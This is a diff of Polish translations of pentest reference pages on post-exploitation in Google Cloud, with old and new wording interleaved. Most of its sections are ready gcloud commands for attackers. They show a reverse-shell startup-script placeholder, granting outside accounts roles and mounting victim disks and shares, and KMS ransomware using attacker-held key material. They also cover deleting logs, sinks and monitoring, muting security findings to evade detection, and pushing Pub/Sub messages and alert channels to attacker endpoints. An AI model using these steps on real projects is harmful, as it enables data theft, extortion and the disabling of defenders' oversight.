Jeśli nie mogłeś przyznać dostępu do swojego zewnętrznego konta przez obraz, mógłbyś uruchomić VM używając tego obrazu w projekcie ofiary i **sprawić, by metadane wykonały reverse shell** w celu uzyskania dostępu do obrazu, dodając parametr:
</details>
Jeżeli nie możesz przyznać zewnętrznemu kontu dostępu do obrazu, możesz uruchomić VM używając tego obrazu w projekcie ofiary i **sprawić, by metadane uruchomiły reverse shell**, aby uzyskać dostęp do obrazu, dodając parametr:
<details>
<summary>Utwórz VM z reverse shell w metadanych</summary>
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspekcja migawki/dysku poprzez podłączenie do VM
</details>
Celem uzyskania dostępu do **danych przechowywanych na dysku lub w migawce, możesz przekształcić migawkę w dysk, dysk w obraz i postępować zgodnie z wcześniejszymi krokami.**
### Inspekcja Snapshot/Disk przez dołączenie go do VM
Lub możesz **przyznać zewnętrznemu kontu dostęp** do dysku (jeśli punktem wyjścia jest migawka, przyznaj dostęp do migawki lub utwórz z niej dysk):
W celu uzyskania dostępu do **danych przechowywanych na disk lub snapshot, możesz przekształcić snapshot w disk, disk w image i wykonać poprzednie kroki.**
Albo możesz **przyznać zewnętrznemu kontu dostęp** do disk (jeśli punktem wyjścia jest snapshot — przyznaj dostęp do snapshot albo utwórz z niego disk):
<details>
<summary>Przyznaj dostęp do disk</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
**Dołącz dysk** do instancji:
</details>
**Podłącz dysk** do instancji:
<details>
<summary>Podłącz dysk do instancji</summary>
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
</details>
Zamontuj dysk wewnątrz VM:
1. **SSH do VM**:
1. **SSH into the VM**:
<details>
<summary>SSH do VM i zamontuj dysk</summary>
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
2. **Zidentyfikuj Dysk**: Po wejściu do VM, zidentyfikuj nowy dysk, wypisując urządzenia dyskowe. Zazwyczaj można go znaleźć jako `/dev/sdb`, `/dev/sdc` itd.
3. **Sformatuj i Zamontuj Dysk** (jeśli to nowy lub surowy dysk):
</details>
2. **Zidentyfikuj dysk**: Po wejściu do VM zidentyfikuj nowy dysk, wypisując urządzenia dyskowe. Zazwyczaj będzie widoczny jako `/dev/sdb`, `/dev/sdc`, itp.
3. **Sformatuj i zamontuj dysk** (jeśli to nowy lub surowy dysk):
- Utwórz punkt montowania:
<details>
<summary>Utwórz punkt montowania i zamontuj</summary>
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
</details>
- Zamontuj dysk:
<details>
<summary>Zamontuj urządzenie dyskowe</summary>
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
Jeśli **nie możesz przyznać dostępu do zewnętrznego projektu** do migawki lub dysku, być może będziesz musiał **wykonać te działania wewnątrz instancji w tym samym projekcie co migawka/dysk**.
</details>
Jeśli **nie możesz udzielić dostępu projektowi zewnętrznemu** do snapshotu lub dysku, może być konieczne **wykonanie tych działań wewnątrz instancji w tym samym projekcie co snapshot/dysk**.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,15 +4,19 @@
## Filestore
Aby uzyskać więcej informacji o Filestore, sprawdź:
Więcej informacji o Filestore znajdziesz:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
### Montowanie Filestore
### Mount Filestore
Wspólny system plików **może zawierać wrażliwe informacje** interesujące z perspektywy atakującego. Mając dostęp do Filestore, możliwe jest **zamontowanie go**:
Wspólny system plików **może zawierać wrażliwe informacje** interesujące z perspektywy atakującego. Mając dostęp do Filestore, możliwe jest jego **zamontowanie**:
<details>
<summary>Montowanie systemu plików Filestore</summary>
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -22,6 +26,8 @@ showmount -e <IP>
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
</details>
Aby znaleźć adres IP instancji filestore, sprawdź sekcję enumeracji na stronie:
{{#ref}}
@@ -30,7 +36,11 @@ Aby znaleźć adres IP instancji filestore, sprawdź sekcję enumeracji na stron
### Usuń ograniczenia i uzyskaj dodatkowe uprawnienia
Jeśli atakujący nie znajduje się w adresie IP z dostępem do udostępnienia, ale masz wystarczające uprawnienia, aby je zmodyfikować, możliwe jest usunięcie ograniczeń lub dostępu do niego. Możliwe jest również przyznanie większych uprawnień dla twojego adresu IP, aby uzyskać dostęp administratora do udostępnienia:
Jeśli atakujący nie znajduje się na adresie IP mającym dostęp do udziału, ale ty masz wystarczające uprawnienia, aby go zmodyfikować, możliwe jest usunięcie ograniczeń dostępu do niego. Możliwe jest też przyznanie większych uprawnień dla twojego adresu IP, aby uzyskać uprawnienia administratora do udziału:
<details>
<summary>Zaktualizuj instancję Filestore, aby umożliwić dostęp</summary>
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
}
}
```
### Przywróć kopię zapasową
</details>
Jeśli istnieje kopia zapasowa, można ją **przywrócić** w istniejącej lub nowej instancji, aby jej **informacje stały się dostępne:**
### Przywracanie kopii zapasowej
Jeśli istnieje kopia zapasowa, można ją **przywrócić** w istniejącej lub nowej instancji, dzięki czemu jej **zawartość stanie się dostępna:**
<details>
<summary>Utwórz nową instancję i przywróć kopię zapasową</summary>
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
# Follow the previous section commands to mount it
```
</details>
### Utwórz kopię zapasową i przywróć ją
Jeśli **nie masz dostępu do udostępnienia i nie chcesz go modyfikować**, możliwe jest **utworzenie kopii zapasowej** i **przywrócenie** jej, jak wcześniej wspomniano:
Jeśli **nie masz dostępu do udziału i nie chcesz go modyfikować**, możliwe jest **utworzenie jego kopii zapasowej** i **przywrócenie** jej, jak wspomniano wcześniej:
<details>
<summary>Utwórz kopię zapasową i przywróć ją w nowej instancji</summary>
```bash
# Create share backup
gcloud filestore backups create <back-name> \
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
# Follow the previous section commands to restore it and mount it
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Możesz znaleźć dalsze informacje na temat IAM w:
Możesz znaleźć więcej informacji o IAM w:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,16 +12,22 @@ Możesz znaleźć dalsze informacje na temat IAM w:
### Przyznawanie dostępu do konsoli zarządzania <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Dostęp do [GCP management console](https://console.cloud.google.com) jest **przyznawany kontom użytkowników, a nie kontom serwisowym**. Aby zalogować się do interfejsu webowego, możesz **przyznać dostęp do konta Google**, które kontrolujesz. Może to być ogólne konto "**@gmail.com**", nie musi **być członkiem docelowej organizacji**.
Dostęp do [GCP management console](https://console.cloud.google.com) jest **przyznawany kontom użytkowników, a nie kontom serwisowym**. Aby zalogować się do interfejsu webowego, możesz **przyznać dostęp do Google account**, które kontrolujesz. Może to być genericzne "**@gmail.com**" konto, nie musi być członkiem docelowej organizacji.
Aby **przyznać** podstawową rolę **Właściciela** ogólnemu koncie "@gmail.com", musisz **użyć konsoli webowej**. `gcloud` zgłosi błąd, jeśli spróbujesz przyznać mu uprawnienia wyższe niż Edytor.
Aby jednak przyznać prymitywną rolę **Owner** generycznemu "@gmail.com" kontu, będziesz musi **użyć web console**. `gcloud` zwróci błąd, jeśli spróbujesz przyznać mu uprawnienie wyższe niż Editor.
Możesz użyć następującego polecenia, aby **przyznać użytkownikowi podstawową rolę Edytora** w swoim istniejącym projekcie:
Możesz użyć następującego polecenia, aby **przyznać użytkownikowi prymitywną rolę Editor** w istniejącym projekcie:
<details>
<summary>Nadaj rolę Editor użytkownikowi</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
Jeśli udało ci się tutaj, spróbuj **uzyskać dostęp do interfejsu webowego** i eksplorować stamtąd.
</details>
To jest **najwyższy poziom, który możesz przypisać za pomocą narzędzia gcloud**.
Jeśli udało Ci się to, spróbuj **uzyskać dostęp do interfejsu WWW** i dalej eksplorować stamtąd.
To jest **najwyższy poziom, jaki możesz przypisać przy użyciu narzędzia gcloud**.
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - KMS Po Eksploatacji
# GCP - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,11 @@ Znajdź podstawowe informacje o KMS w:
### `cloudkms.cryptoKeyVersions.destroy`
Atakujący z tym uprawnieniem mógłby zniszczyć wersję KMS. Aby to zrobić, najpierw musisz dezaktywować klucz, a następnie go zniszczyć:
Atakujący posiadający to uprawnienie może zniszczyć wersję KMS. Aby to zrobić, najpierw musisz wyłączyć klucz, a następnie go zniszczyć:
<details>
<summary>Wyłącz i zniszcz wersję klucza (Python)</summary>
```python
# pip install google-cloud-kms
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
</details>
### KMS Ransomware
W AWS możliwe jest całkowite **ukradzenie klucza KMS** poprzez modyfikację polityki zasobów KMS i zezwolenie tylko na użycie klucza przez konto atakującego. Ponieważ takie polityki zasobów nie istnieją w GCP, nie jest to możliwe.
W AWS można całkowicie **steal a KMS key** poprzez modyfikację KMS resource policy i dopuszczenie do użycia klucza jedynie konta atakującego. Ponieważ takie resource policies nie istnieją w GCP, nie jest to możliwe.
Jednak istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
Jednak istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nową **wersję klucza z materiałem klucza** importowanym przez atakującego.
- Utworz nową **version of the key with a key material** zaimportowaną przez atakującego
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Ustaw jako **domyślną wersję** (dla przyszłych danych, które będą szyfrowane)
- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nową.
- **Usuń klucz KMS**
- Teraz tylko atakujący, który ma oryginalny materiał klucza, będzie mógł odszyfrować zaszyfrowane dane
- Ustaw jako **domyślną wersję** (dla przyszłych danych, które będą szyfrowane)
- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją przy użyciu nowej.
- **Usuń KMS key**
- Teraz tylko attacker, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
#### Oto kroki, aby zaimportować nową wersję i wyłączyć/usunąć starsze dane:
<details>
<summary>Zaimportuj nową wersję klucza i usuń starą wersję</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
--version 1
```
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Szyfrowanie danych za pomocą klucza symetrycznego (Python)</summary>
```python
from google.cloud import kms
import base64
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
</details>
### `cloudkms.cryptoKeyVersions.useToSign`
<details>
<summary>Podpisz wiadomość asymetrycznym kluczem (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -215,7 +237,13 @@ message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Zweryfikuj podpis przy użyciu klucza asymetrycznego (Python)</summary>
```python
from google.cloud import kms
import hashlib
@@ -242,4 +270,6 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,13 +4,13 @@
## Podstawowe informacje
Aby uzyskać więcej informacji, sprawdź:
Więcej informacji:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
Aby uzyskać inne sposoby zakłócania monitorowania, sprawdź:
Inne sposoby zakłócania monitoringu:
{{#ref}}
gcp-monitoring-post-exploitation.md
@@ -18,13 +18,17 @@ gcp-monitoring-post-exploitation.md
### Domyślne logowanie
**Domyślnie nie zostaniesz złapany tylko za wykonywanie akcji odczytu. Aby uzyskać więcej informacji, sprawdź sekcję Logging Enum.**
**Domyślnie nie zostaniesz wykryty tylko za wykonywanie operacji odczytu. Więcej informacji w sekcji Logging Enum.**
### Dodaj wyłączony podmiot
### Dodaj Excepted Principal
W [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) można dodać podmioty, aby nie generować logów. Napastnik mógłby to wykorzystać, aby zapobiec złapaniu.
W [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) można dodać principali, aby nie generować logów. Atakujący mógłby to wykorzystać, aby uniknąć wykrycia.
### Odczytaj logi - `logging.logEntries.list`
### Odczyt logów - `logging.logEntries.list`
<details>
<summary>Odczyt wpisów logów</summary>
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
```
</details>
### `logging.logs.delete`
<details>
<summary>Usuń wpisy logów</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
```
</details>
### Zapisz logi - `logging.logEntries.create`
<details>
<summary>Zapisz wpis logu</summary>
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
</details>
### `logging.buckets.update`
<details>
<summary>Zaktualizuj okres przechowywania wiadra logów</summary>
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
```
</details>
### `logging.buckets.delete`
<details>
<summary>Usuń bucket logów</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
```
</details>
### `logging.links.delete`
<details>
<summary>Usuń link do logu</summary>
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
```
</details>
### `logging.views.delete`
<details>
<summary>Usuń widok logów</summary>
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
```
</details>
### `logging.views.update`
<details>
<summary>Zaktualizuj widok logów, aby ukryć dane</summary>
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
```
</details>
### `logging.logMetrics.update`
<details>
<summary>Aktualizuj metryki oparte na logach</summary>
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
</details>
### `logging.logMetrics.delete`
<details>
<summary>Usuń metryki oparte na logach</summary>
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
```
</details>
### `logging.sinks.delete`
<details>
<summary>Usuń sink logów</summary>
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
```
</details>
### `logging.sinks.update`
<details>
<summary>Aktualizuj/zakłóć log sink</summary>
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Monitoring
## Monitorowanie
Aby uzyskać więcej informacji, sprawdź:
Aby uzyskać więcej informacji, zobacz:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
Aby sprawdzić inne sposoby zakłócania logów, sprawdź:
Sprawdź inne sposoby zakłócania logów:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
### `monitoring.alertPolicies.delete`
Usuń politykę alertu:
Usuń politykę alertów:
<details>
<summary>Usuń politykę alertów</summary>
```bash
gcloud alpha monitoring policies delete <policy>
```
</details>
### `monitoring.alertPolicies.update`
Zakłóć politykę alertów:
Zakłócić politykę alertów:
<details>
<summary>Zakłóć politykę alertów</summary>
```bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
```
</details>
### `monitoring.dashboards.update`
Zmodyfikuj pulpit nawigacyjny, aby go zakłócić:
Zmodyfikuj dashboard, aby go zakłócić:
<details>
<summary>Zakłócenie dashboardu</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
@@ -53,16 +69,28 @@ widgets:
content: Hello World
'''
```
</details>
### `monitoring.dashboards.delete`
Usuń pulpit nawigacyjny:
Usuń dashboard:
<details>
<summary>Usuń dashboard</summary>
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
</details>
### `monitoring.snoozes.create`
Zapobiegaj generowaniu alertów przez polityki, tworząc snoozer:
<details>
<summary>Utwórz snoozer, aby zatrzymać alerty</summary>
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
</details>
### `monitoring.snoozes.update`
Zaktualizuj czas snoozera, aby zapobiec tworzeniu alertów, gdy atakujący jest zainteresowany:
Zaktualizuj harmonogram snoozera, aby zapobiec tworzeniu alertów w czasie, gdy atakujący jest aktywny:
<details>
<summary>Zaktualizuj harmonogram snoozera</summary>
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
</details>
### `monitoring.notificationChannels.delete`
Usuń skonfigurowany kanał:
<details>
<summary>Usuń kanał powiadomień</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
</details>
### `monitoring.notificationChannels.update`
Zaktualizuj etykiety kanału, aby go zakłócić:
<details>
<summary>Zaktualizuj etykiety kanału powiadomień</summary>
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Pub/Sub Po Eksploatacji
# GCP - Pub/Sub Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Pub/Sub
Aby uzyskać więcej informacji na temat Pub/Sub, sprawdź następującą stronę:
Więcej informacji o Pub/Sub znajdziesz na następującej stronie:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,40 +12,68 @@ Aby uzyskać więcej informacji na temat Pub/Sub, sprawdź następującą stron
### `pubsub.topics.publish`
Opublikuj wiadomość w temacie, przydatne do **wysyłania nieoczekiwanych danych** i wywoływania nieoczekiwanych funkcji lub wykorzystywania luk:
Publikowanie wiadomości w topic, przydatne do **wysyłania nieoczekiwanych danych** oraz wywoływania nieprzewidzianych funkcji lub wykorzystania podatności:
<details>
<summary>Opublikuj wiadomość w topic</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
</details>
### `pubsub.topics.detachSubscription`
Przydatne do zapobiegania odbieraniu wiadomości przez subskrypcję, być może w celu uniknięcia wykrycia.
Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, na przykład by uniknąć wykrycia.
<details>
<summary>Odłącz subskrypcję od tematu</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
</details>
### `pubsub.topics.delete`
Przydatne do zapobiegania odbieraniu wiadomości przez subskrypcję, być może w celu uniknięcia wykrycia.\
Możliwe jest usunięcie tematu, nawet jeśli do niego przypisane subskrypcje.
Przydatne, aby zapobiec otrzymywaniu wiadomości przez subscription, być może w celu uniknięcia wykrycia.\
Można usunąć topic nawet jeśli ma do niego przypisane subscriptions.
<details>
<summary>Usuń topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
</details>
### `pubsub.topics.update`
Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia tematu, aby go zakłócić, takie jak `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia topicu i zakłócić jego działanie, np. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Nadaj sobie uprawnienia do przeprowadzenia dowolnych z poprzednich ataków.
Nadaj sobie uprawnienie, aby wykonać którekolwiek z poprzednich attacks.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Pobierz wszystkie wiadomości na serwerze WWW:
Pobierz wszystkie wiadomości z serwera WWW:
<details>
<summary>Utwórz push subscription, aby otrzymywać wiadomości</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>
Utwórz subskrypcję i użyj jej do **pobierania wiadomości**:
<details>
<summary>Utwórz subskrypcję typu pull i pobierz wiadomości</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
</details>
### `pubsub.subscriptions.delete`
**Usunięcie subskrypcji** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:
**Usuń subskrypcję** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:
<details>
<summary>Usuń subskrypcję</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
</details>
### `pubsub.subscriptions.update`
Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia, aby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, tabela Big Query, Bucket) lub po prostu, aby je zakłócić.
Użyj tego uprawnienia, aby zaktualizować jakieś ustawienie tak, żeby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket) lub po prostu je zakłócić.
<details>
<summary>Aktualizuj endpoint subskrypcji</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>
### `pubsub.subscriptions.setIamPolicy`
Nadaj sobie uprawnienia potrzebne do przeprowadzenia wcześniej omówionych ataków.
Nadaj sobie uprawnienia potrzebne do przeprowadzenia dowolnego z wcześniej opisanych ataków.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Zaatakuj schemat, aby przypisać go do tematu, tak aby wiadomości go nie spełniały, a tym samym temat został zakłócony.\
Jeśli nie ma żadnych schematów, być może będziesz musiał stworzyć jeden.
Przypnij schema do topicu tak, aby wiadomości nie spełniały jego wymagań i w rezultacie topic został zakłócony.\
Jeśli nie ma żadnych schema, może być konieczne utworzenie jednego.
<details>
<summary>Utwórz plik schema i przypnij go do topicu</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
</details>
### `pubsub.schemas.delete`
To może wyglądać jak usunięcie schematu, ale będziesz w stanie wysyłać wiadomości, które nie spełniają wymagań schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość tak naprawdę nie wejdzie do tematu. Tak więc to jest **BEZUŻYTECZNE**:
Może się wydawać, że usunięcie schema pozwoli Ci wysyłać wiadomości, które nie będą zgodne z schema. Jednakże, ponieważ schema zostanie usunięte, żadna wiadomość faktycznie nie trafi do topicu. Dlatego jest to **BEZUŻYTECZNE**:
<details>
<summary>Usuń schema (nieprzydatne)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
</details>
### `pubsub.schemas.setIamPolicy`
Nadaj sobie uprawnienia potrzebne do przeprowadzenia dowolnych wcześniej omówionych ataków.
Nadaj sobie uprawnienia potrzebne do wykonania któregokolwiek z wcześniej opisanych ataków.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
To stworzy migawkę wszystkich niepotwierdzonych wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto jest:
To utworzy snapshot wszystkich unACKed wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto:
<details>
<summary>Utwórz snapshot i wykonaj seek do niego</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Secretmanager Po Eksploatacji
# GCP - Secretmanager Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Secretmanager
Aby uzyskać więcej informacji na temat Secret Manager, sprawdź:
Aby uzyskać więcej informacji o Secret Manager sprawdź:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,9 +12,15 @@ Aby uzyskać więcej informacji na temat Secret Manager, sprawdź:
### `secretmanager.versions.access`
To daje dostęp do odczytu sekretów z menedżera sekretów i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekrecie):
To uprawnienie pozwala na odczyt sekretów z Secret Manager i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekretach):
<details>
<summary>Access secret version</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Bezpieczeństwo Po Eksploatacji
# GCP - Security Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bezpieczeństwo
Aby uzyskać więcej informacji, sprawdź:
Aby uzyskać więcej informacji sprawdź:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -12,37 +12,67 @@ Aby uzyskać więcej informacji, sprawdź:
### `securitycenter.muteconfigs.create`
Zapobiegaj generowaniu ustaleń, które mogą wykryć atakującego, tworząc `muteconfig`:
Zapobiegaj generowaniu alertów (findings), które mogłyby wykryć atakującego, tworząc `muteconfig`:
<details>
<summary>Utwórz Muteconfig</summary>
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>
### `securitycenter.muteconfigs.update`
Zapobiegaj generowaniu ustaleń, które mogą wykryć atakującego, aktualizując `muteconfig`:
Zapobiegaj generowaniu findings, które mogłyby wykryć atakującego, aktualizując `muteconfig`:
<details>
<summary>Aktualizuj Muteconfig</summary>
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>
### `securitycenter.findings.bulkMuteUpdate`
Wyłącz wyniki na podstawie filtra:
Wycisz znaleziska na podstawie filtra:
<details>
<summary>Masowe wyciszenie na podstawie filtra</summary>
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
Zgłoszenie wyciszone nie pojawi się w pulpicie nawigacyjnym SCC i raportach.
</details>
Uciszony finding nie będzie widoczny w panelu SCC ani w raportach.
### `securitycenter.findings.setMute`
Wycisz zgłoszenia na podstawie źródła, zgłoszeń...
Wyciszaj findings w oparciu o source, findings...
<details>
<summary>Ustaw finding jako wyciszony</summary>
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
</details>
### `securitycenter.findings.update`
Zaktualizuj ustalenie, aby wskazać błędne informacje:
Zaktualizuj finding, aby wskazać błędne informacje:
<details>
